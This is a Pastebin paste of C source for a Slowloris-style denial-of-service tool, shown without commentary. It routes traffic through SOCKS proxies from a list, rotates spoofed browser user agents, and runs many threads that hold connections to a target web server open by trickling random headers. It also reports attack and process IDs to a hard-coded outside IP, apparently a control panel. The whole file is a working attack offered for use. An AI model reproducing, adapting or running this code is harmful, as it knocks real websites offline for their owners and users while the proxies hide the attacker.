alexsnez

Slowloris

Nov 1st, 2017
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 24.62 KB | None | 0 0
  1. #include <pthread.h>
  2. #include <sys/resource.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <signal.h>
  8. #include <sys/socket.h>
  9. #include <netinet/ip.h>
  10. #include <netinet/tcp.h>
  11. #include <netdb.h>
  12. #include <netinet/in.h>
  13. #include <ctype.h>
  14.  
  15. #define RND_CHAR (char)((rand() % 26)+97)
  16.  
  17. char *useragents[] = {
  18.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  19.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  20.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  21.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  22.         "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  23.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  24.         "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  25.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  26.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  27.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  28.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  29.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  30.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  31.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  32.         "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  33.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  34.         "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  35.         "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  36.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  37.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  38.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  39.         "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  40.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  41.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  42.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  43.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  44.         "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  45.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  46.         "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  47.         "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  48.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  49.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  50.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  51.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  52.         "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  53.         "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  54.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  55.         "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  56.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  57.         "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  58.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  59.         "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  60.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  61.         "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  62.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  63.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  64.         "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  65.         "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  66. };
  67. #define ATTACKPORT 80
  68. char *postformat = "GET /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\n";
  69. char *postpayload;
  70. struct urlparts {
  71.         char * name;
  72.         char separator[4];
  73.         char value[128];
  74. } parts[] = {
  75.         { "scheme", ":" },
  76.         { "userid", "@" },
  77.         { "password", ":" },
  78.         { "host", "//" },
  79.         { "port", ":" },
  80.         { "path", "/" },
  81.         { "param", ";" },
  82.         { "query", "?" },
  83.         { "fragment", "#" }
  84. };
  85. enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
  86. #define NUMPARTS (sizeof parts / sizeof (struct urlparts))
  87. struct urlparts *returnparts[8];
  88. struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
  89. struct proxy { char *type; char *ip; int port; int working; };
  90. struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
  91. struct list *head = NULL;
  92. char parseError[128];
  93. int parseURL(char *url, struct urlparts **returnpart);
  94. char * strsplit(char * s, char * tok);
  95. char firstpunc(char *s);
  96. int strleft(char * s, int n);
  97. void setupparts();
  98. void freeparts();
  99. char *stristr(const char *String, const char *Pattern);
  100. char *str_replace(char *orig, char *rep, char *with);
  101. char *geturl(char *url, char *useragent, char *ip);
  102. char *ipstr;
  103.  
  104. void *flood(void *par) {
  105.         struct list *startpoint = (struct list *)par;
  106.         int i;
  107.         struct sockaddr_in serverAddr;
  108.         signal(SIGPIPE, SIG_IGN);
  109.         while(1)
  110.         {
  111.                 int sent = 0;
  112.                 if(startpoint->data->working == 0)
  113.                 {
  114.                         startpoint = startpoint->next;
  115.                         sleep(1);
  116.                         continue;
  117.                 }
  118.                 memset(&serverAddr, 0, sizeof(serverAddr));
  119.                 serverAddr.sin_family = AF_INET;
  120.                 serverAddr.sin_port = htons(startpoint->data->port);
  121.                 serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  122.                 int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  123.                 u_int yes=1;
  124.                 if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  125.                 if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  126.                 {
  127.                         startpoint->data->working = 0;
  128.                         startpoint = startpoint->next;
  129.                         continue;
  130.                 }
  131.                 if(strcmp(startpoint->data->type, "Socks4")==0)
  132.                 {
  133.                         unsigned char buf[10];
  134.                         buf[0] = 0x04;
  135.                         buf[1] = 0x01;
  136.                         *(unsigned short*)&buf[2] = htons(ATTACKPORT);
  137.                         *(unsigned long*)&buf[4] = inet_addr(ipstr);
  138.                         buf[8] = 0x00;
  139.                         if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
  140.                         {
  141.                                 startpoint->data->working = 0;
  142.                                 startpoint = startpoint->next;
  143.                                 close(serverSocket);
  144.                                 continue;
  145.                         }
  146.                 }
  147.                 if(strcmp(startpoint->data->type, "Socks5")==0)
  148.                 {
  149.                         unsigned char buf[20];
  150.                         buf[0] = 0x05;
  151.                         buf[1] = 0x01;
  152.                         buf[2] = 0x00;
  153.                         if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
  154.                         {
  155.                                 startpoint->data->working = 0;
  156.                                 startpoint = startpoint->next;
  157.                                 close(serverSocket);
  158.                                 continue;
  159.                         }
  160.                         buf[0] = 0x05;
  161.                         buf[1] = 0x01;
  162.                         buf[2] = 0x00;
  163.                         buf[3] = 0x01;
  164.                         *(unsigned long*)&buf[4] = inet_addr(ipstr);
  165.                         *(unsigned short*)&buf[8] = htons(ATTACKPORT);
  166.                         if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
  167.                         {
  168.                                 printf("BAD PROXY ONLY SENT %d:%d\n", sent, 10);
  169.                                 perror("send 10");
  170.                                 startpoint->data->working = 0;
  171.                                 startpoint = startpoint->next;
  172.                                 close(serverSocket);
  173.                                 continue;
  174.                         }
  175.                 }
  176.                 char *httppayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
  177.                 if(httppayload == NULL)
  178.                 {
  179.                         startpoint = startpoint->next;
  180.                         close(serverSocket);
  181.                         continue;
  182.                 }
  183.                 sent = send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
  184.                 free(httppayload);
  185.                 int send_return = 1;
  186.                 while(send_return > 0)
  187.                 {
  188.                         char *headershit = malloc(255);
  189.                         sprintf(headershit, "X-%c%c%c%c%c%c%c: 1\r\n", RND_CHAR, RND_CHAR, RND_CHAR, RND_CHAR, RND_CHAR, RND_CHAR, RND_CHAR);
  190.                         send_return = send(serverSocket, headershit, strlen(headershit), MSG_NOSIGNAL);
  191.                         free(headershit);
  192.                         sleep(1);
  193.                 }
  194.                 close(serverSocket);
  195.                 usleep(30000);
  196.                 //startpoint = startpoint->next;
  197.         }
  198. }
  199.  
  200. int fnAttackInformation(int attackID)
  201. {
  202.     char szRecvBuff[1024];
  203.     char packet[1024];
  204.     char ip[] = "37.221.170.5";
  205.  
  206.     snprintf(packet, sizeof(packet) - 1, "GET /~dqyefldi/response.php?auth=tru&id=%d&pro=%d HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nCache-Control: no-cache\r\nOrigin: http://google.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", attackID, getpid(), ip);
  207.  
  208.     struct sockaddr_in *remote;
  209.     int sock;
  210.     int tmpres;
  211.    
  212.  
  213.     if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  214.     {
  215.         perror("Can't create TCP socket");
  216.         exit(1);
  217.     }
  218.    
  219.     remote = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in *));
  220.     remote->sin_family = AF_INET;
  221.     tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr)));
  222.    
  223.     if (tmpres < 0)  
  224.     {
  225.         perror("Can't set remote->sin_addr.s_addr");
  226.         exit(1);
  227.     }
  228.     else if (tmpres == 0)
  229.     {
  230.         fprintf(stderr, "%s is not a valid IP address\n", ip);
  231.         exit(1);
  232.     }
  233.    
  234.     remote->sin_port = htons(80);
  235.    
  236.     if (connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) < 0)
  237.     {
  238.         perror("Could not connect");
  239.         exit(1);
  240.     }
  241.        
  242.     tmpres = send(sock, packet, strlen(packet), 0);
  243.    
  244.     //printf("Sent %d bytes -> \n%s\n\n\n", tmpres, packet);   
  245.    
  246.     if (tmpres == -1){
  247.         perror("Can't send query");
  248.         exit(1);
  249.     }
  250.  
  251.     int i = 1;
  252.     int dwTotal = 0;
  253.  
  254.  
  255.     while (1)
  256.     {
  257.         i = recv(sock, szRecvBuff + dwTotal, sizeof(szRecvBuff) - dwTotal, 0);
  258.         //printf("Received %d bytes\n", i);
  259.         if (i <= 0)
  260.             break;
  261.            
  262.         dwTotal += i;
  263.     }
  264.  
  265.     szRecvBuff[dwTotal] = '\0';
  266.    
  267.  
  268.     //printf("Received -> \n%s\n\n", szRecvBuff);
  269.  
  270.    
  271.     close(sock);
  272.    
  273.     //printf("Sent %d bytes\n", tmpres);
  274.    
  275.     return 0;
  276. }
  277.  
  278. int main(int argc, char *argv[ ]) {
  279.         if(argc < 4){
  280.                 fprintf(stderr, "Invalid parameters!\n");
  281.                 fprintf(stdout, "Usage: %s <target url> <number threads to use> <proxy list> <time> [manual ip]\n", argv[0]);
  282.                 exit(-1);
  283.         }
  284.         //fprintf(stdout, "Setting up Sockets...\n");
  285.         int num_threads = atoi(argv[2]);
  286.         FILE *pFile = fopen(argv[3], "rb");
  287.         if(pFile==NULL)
  288.         {
  289.                 perror("fopen"); exit(1);
  290.         }
  291.         fseek(pFile, 0, SEEK_END);
  292.         long lSize = ftell(pFile);
  293.         rewind(pFile);
  294.         char *buffer = (char *)malloc(lSize*sizeof(char));
  295.         fread(buffer, 1, lSize, pFile);
  296.         fclose (pFile);
  297.         int i=0;
  298.         char *pch = (char *)strtok(buffer, ":");
  299.         while(pch != NULL)
  300.         {
  301.                 if(head == NULL)
  302.                 {
  303.                         head = (struct list *)malloc(sizeof(struct list));
  304.                         bzero(head, sizeof(struct list));
  305.                         head->data = (struct proxy *)malloc(sizeof(struct proxy));
  306.                         bzero(head->data, sizeof(struct proxy));
  307.                         head->data->working = 1;
  308.                         head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
  309.                         pch = (char *)strtok(NULL, ":");
  310.                         if(pch == NULL) exit(-1);
  311.                         head->data->port = atoi(pch);
  312.                         pch = (char *)strtok(NULL, ":");
  313.                         head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
  314.                         pch = (char *)strtok(NULL, ":");
  315.                         head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  316.                         head->next = head;
  317.                         head->prev = head;
  318.                 } else {
  319.                         struct list *new_node = (struct list *)malloc(sizeof(struct list));
  320.                         bzero(new_node, sizeof(struct list));
  321.                         new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
  322.                         bzero(new_node->data, sizeof(struct proxy));
  323.                         new_node->data->working = 1;
  324.                         new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
  325.                         pch = (char *)strtok(NULL, ":");
  326.                         if(pch == NULL) break;
  327.                         new_node->data->port = atoi(pch);
  328.                         pch = (char *)strtok(NULL, ":");
  329.                         new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
  330.                         pch = (char *)strtok(NULL, ":");
  331.                         new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  332.                         new_node->prev = head;
  333.                         new_node->next = head->next;
  334.                         head->next = new_node;
  335.                 }
  336.         }
  337.         free(buffer);
  338.         const rlim_t kOpenFD = 1024 + (num_threads * 2);
  339.         struct rlimit rl;
  340.         int result;
  341.         rl.rlim_cur = kOpenFD;
  342.         rl.rlim_max = kOpenFD;
  343.         result = setrlimit(RLIMIT_NOFILE, &rl);
  344.         if (result != 0)
  345.         {
  346.                 perror("setrlimit");
  347.                 fprintf(stderr, "setrlimit returned result = %d\n", result);
  348.         }
  349.         setupparts();
  350.         parseURL(argv[1], returnparts);
  351.         if(argc > 5)
  352.         {
  353.                 ipstr = malloc(strlen(argv[5])+1);
  354.                 bzero(ipstr, strlen(argv[5])+1);
  355.                 strcpy(ipstr, argv[5]);
  356.                 //fprintf(stdout, "Using manual IP...\n");
  357.         } else {
  358.                 struct hostent *he;
  359.                 struct in_addr a;
  360.                 he = gethostbyname(returnparts[host]->value);
  361.                 if (he)
  362.                 {
  363.                         while (*he->h_addr_list)
  364.                         {
  365.                                 bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
  366.                                 ipstr = malloc(INET_ADDRSTRLEN+1);
  367.                                 inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
  368.                                 break;
  369.                         }
  370.                 }
  371.                 else
  372.                 { herror("gethostbyname"); }
  373.         }
  374.         pthread_t thread[num_threads];
  375.         struct list *td[num_threads];
  376.         struct list *node = head->next;
  377.        
  378.        
  379.         for(i=0;i<num_threads;i++)
  380.         {
  381.                 td[i] = node;
  382.                 node = node->next;
  383.         }
  384.         postpayload = malloc(4096);
  385.         sprintf(postpayload, postformat, returnparts[path]->value, returnparts[host]->value);
  386.         freeparts();
  387.      
  388.         //fprintf(stdout, "Starting Flood...\n");
  389.        
  390.         fnAttackInformation(atoi(argv[argc-1]));
  391.         for(i = 0;i<num_threads;i++){
  392.                 pthread_create( &thread[i], NULL, &flood, (void *) td[i]);
  393.         }
  394.         sleep(atoi(argv[4]));
  395.         return 0;
  396. }
  397. void freeparts()
  398. {
  399.         return;
  400.         if(returnparts[0]!=NULL) { free(returnparts[0]); }
  401.         if(returnparts[1]!=NULL) { free(returnparts[1]); }
  402.         if(returnparts[2]!=NULL) { free(returnparts[2]); }
  403.         if(returnparts[3]!=NULL) { free(returnparts[3]); }
  404.         if(returnparts[4]!=NULL) { free(returnparts[4]); }
  405.         if(returnparts[5]!=NULL) { free(returnparts[5]); }
  406.         if(returnparts[6]!=NULL) { free(returnparts[6]); }
  407.         if(returnparts[7]!=NULL) { free(returnparts[7]); }
  408.         if(returnparts[8]!=NULL) { free(returnparts[8]); }
  409.         return;
  410. }
  411. void setupparts()
  412. {
  413.         returnparts[0] = malloc(sizeof(struct urlparts));
  414.         returnparts[1] = malloc(sizeof(struct urlparts));
  415.         returnparts[2] = malloc(sizeof(struct urlparts));
  416.         returnparts[3] = malloc(sizeof(struct urlparts));
  417.         returnparts[4] = malloc(sizeof(struct urlparts));
  418.         returnparts[5] = malloc(sizeof(struct urlparts));
  419.         returnparts[6] = malloc(sizeof(struct urlparts));
  420.         returnparts[7] = malloc(sizeof(struct urlparts));
  421.         returnparts[8] = malloc(sizeof(struct urlparts));
  422.         bzero(returnparts[0], sizeof(struct urlparts));
  423.         bzero(returnparts[1], sizeof(struct urlparts));
  424.         bzero(returnparts[2], sizeof(struct urlparts));
  425.         bzero(returnparts[3], sizeof(struct urlparts));
  426.         bzero(returnparts[4], sizeof(struct urlparts));
  427.         bzero(returnparts[5], sizeof(struct urlparts));
  428.         bzero(returnparts[6], sizeof(struct urlparts));
  429.         bzero(returnparts[7], sizeof(struct urlparts));
  430.         bzero(returnparts[8], sizeof(struct urlparts));
  431.         returnparts[0]->name = "scheme";
  432.         strcpy(returnparts[0]->separator, ":");
  433.         returnparts[1]->name = "userid";
  434.         strcpy(returnparts[1]->separator, "@");
  435.         returnparts[2]->name = "password";
  436.         strcpy(returnparts[2]->separator, ":");
  437.         returnparts[3]->name = "host";
  438.         strcpy(returnparts[3]->separator, "//");
  439.         returnparts[4]->name = "port";
  440.         strcpy(returnparts[4]->separator, ":");
  441.         returnparts[5]->name = "path";
  442.         strcpy(returnparts[5]->separator, "/");
  443.         returnparts[6]->name = "param";
  444.         strcpy(returnparts[6]->separator, ";");
  445.         returnparts[7]->name = "query";
  446.         strcpy(returnparts[7]->separator, "?");
  447.         returnparts[8]->name = "fragment";
  448.         strcpy(returnparts[8]->separator, "#");
  449.         return;
  450. }
  451. int parseURL(char *url, struct urlparts **returnpart) {
  452.         register i;
  453.         int seplen;
  454.         char * remainder;
  455.         char * regall = ":/;?#";
  456.         char * regpath = ":;?#";
  457.         char * regx;
  458.         if(!*url)
  459.         {
  460.                 strcpy(parseError, "nothing to do!\n");
  461.                 return 0;
  462.         }
  463.         if((remainder = malloc(strlen(url) + 1)) == NULL)
  464.         {
  465.                 printf("cannot allocate memory\n");
  466.                 exit(-1);
  467.         }
  468.         strcpy(remainder, url);
  469.         if(firstpunc(remainder) == ':')
  470.         {
  471.                 strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
  472.                 strleft(remainder, 1);
  473.         }
  474.         if (!strcmp(returnpart[scheme]->value, "mailto"))
  475.         *(returnpart[host]->separator) = 0;
  476.         for(i = 0; i < NUMPARTS; i++)
  477.         {
  478.                 if(!*remainder)
  479.                 break;
  480.                 if(i == scheme || i == userid || i == password)
  481.                 continue;
  482.                 if(i == host && strchr(remainder, '@'))
  483.                 {
  484.                         if(!strncmp(remainder, "//", 2))
  485.                         strleft(remainder, 2);
  486.                         strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
  487.                         strleft(remainder, 1);
  488.                         if(strchr(remainder, '@'))
  489.                         {
  490.                                 strcpy(returnpart[password]->value, strsplit(remainder, "@"));
  491.                                 strleft(remainder, 1);
  492.                         }
  493.                         *(returnpart[host]->separator) = 0;
  494.                 }
  495.                 if(i == path && (! *(returnpart[scheme]->value)))
  496.                 {
  497.                         *(returnpart[path]->separator) = 0;
  498.                         strcpy(returnpart[scheme]->value, "http");
  499.                 }
  500.                 regx = (i == path) ? regpath : regall ;
  501.                 seplen = strlen(returnpart[i]->separator);
  502.                 if(strncmp(remainder, returnpart[i]->separator, seplen))
  503.                 continue;
  504.                 else
  505.                 strleft(remainder, seplen);
  506.                 strcpy(returnpart[i]->value, strsplit(remainder, regx));
  507.         }
  508.         if(*remainder)
  509.         sprintf(parseError, "I don't understand '%s'", remainder);
  510.         free(remainder);
  511.         return 0;
  512. }
  513. char *str_replace(char *orig, char *rep, char *with) {
  514.         char *result;
  515.         char *ins;
  516.         char *tmp;
  517.         int len_rep;
  518.         int len_with;
  519.         int len_front;
  520.         int count;
  521.         if (!orig)
  522.         return NULL;
  523.         if (!rep || !(len_rep = strlen(rep)))
  524.         return NULL;
  525.         if (!(ins = strstr(orig, rep)))
  526.         return NULL;
  527.         if (!with)
  528.         with = "";
  529.         len_with = strlen(with);
  530.         for (count = 0; tmp = strstr(ins, rep); ++count) {
  531.                 ins = tmp + len_rep;
  532.         }
  533.         tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
  534.         if (!result)
  535.         return NULL;
  536.         while (count--) {
  537.                 ins = strstr(orig, rep);
  538.                 len_front = ins - orig;
  539.                 tmp = strncpy(tmp, orig, len_front) + len_front;
  540.                 tmp = strcpy(tmp, with) + len_with;
  541.                 orig += len_front + len_rep;
  542.         }
  543.         strcpy(tmp, orig);
  544.         return result;
  545. }
  546. char * strsplit(char * s, char * tok) {
  547. #define OUTLEN (255)
  548.         register i, j;
  549.         static char out[OUTLEN + 1];
  550.         for(i = 0; s[i] && i < OUTLEN; i++)
  551.         {
  552.                 if(strchr(tok, s[i]))
  553.                 break;
  554.                 else
  555.                 out[i] = s[i];
  556.         }
  557.         out[i] = 0;
  558.         if(i && s[i])
  559.         {
  560.                 for(j = 0; s[i]; i++, j++) s[j] = s[i];
  561.                 s[j] = 0;
  562.         }
  563.         else if (!s[i])
  564.         *s = 0;
  565.         return out;
  566. }
  567. char firstpunc(char * s) {
  568.         while(*s++)
  569.         if(!isalnum(*s)) return *s;
  570.         return 0;
  571. }
  572. int strleft(char * s, int n) {
  573.         int l;
  574.         l = strlen(s);
  575.         if(l < n)
  576.         return -1;
  577.         else if (l == n)
  578.         *s = 0;
  579.         memmove(s, s + n, l - n + 1);
  580.         return n;
  581. }
Add Comment
Please, Sign In to add comment